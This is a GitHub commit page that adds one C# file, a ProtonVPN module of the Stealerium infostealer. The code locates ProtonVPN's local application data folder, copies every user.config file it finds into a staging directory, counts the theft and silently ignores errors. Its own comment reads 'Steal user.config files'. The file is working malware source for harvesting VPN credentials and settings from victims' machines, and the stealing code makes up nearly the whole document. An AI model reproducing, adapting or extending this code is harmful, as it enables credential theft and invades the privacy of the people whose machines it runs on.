-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
3095f76
commit b305751
Showing
1 changed file
with
40 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
using System; | ||
using System.IO; | ||
using Stealerium.Helpers; | ||
|
||
namespace Stealerium.Target.VPN | ||
{ | ||
internal sealed class ProtonVpn | ||
{ | ||
// Save("ProtonVPN"); | ||
public static void Save(string sSavePath) | ||
{ | ||
// "ProtonVPN" directory path | ||
var vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), | ||
"ProtonVPN"); | ||
// Stop if not exists | ||
if (!Directory.Exists(vpn)) | ||
return; | ||
try | ||
{ | ||
// Steal user.config files | ||
foreach (var dir in Directory.GetDirectories(vpn)) | ||
if (dir.Contains("ProtonVPN.exe")) | ||
foreach (var version in Directory.GetDirectories(dir)) | ||
{ | ||
var configLocation = version + "\\user.config"; | ||
var copyDirectory = Path.Combine( | ||
sSavePath, new DirectoryInfo(Path.GetDirectoryName(configLocation)).Name); | ||
if (Directory.Exists(copyDirectory)) continue; | ||
Counter.Vpn++; | ||
Directory.CreateDirectory(copyDirectory); | ||
File.Copy(configLocation, copyDirectory + "\\user.config"); | ||
} | ||
} | ||
catch | ||
{ | ||
// ignored | ||
} | ||
} | ||
} | ||
} |